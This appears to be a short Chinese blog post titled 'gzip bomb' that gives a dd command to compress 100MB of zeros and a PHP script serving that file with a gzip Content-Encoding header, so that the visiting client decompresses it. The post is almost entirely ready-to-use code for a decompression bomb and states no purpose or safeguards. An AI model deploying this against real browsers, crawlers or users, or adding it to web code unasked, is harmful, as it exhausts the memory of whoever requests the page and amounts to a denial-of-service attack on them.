gzip炸弹

  sre

5fcf387756d8c2392.jpg_fo742.jpg

产生一个压缩文件

dd if=/dev/zero bs=1M count=100 |gzip > big.gzip

php文件:

<?php

header("Content-Encoding: gzip");
header("Content-Length: ".filesize('big.gzip'));
//关闭缓冲区
if(ob_get_level()) {
    ob_end_clean();
}
readfile('big.gzip');

LEAVE A COMMENT

Captcha Code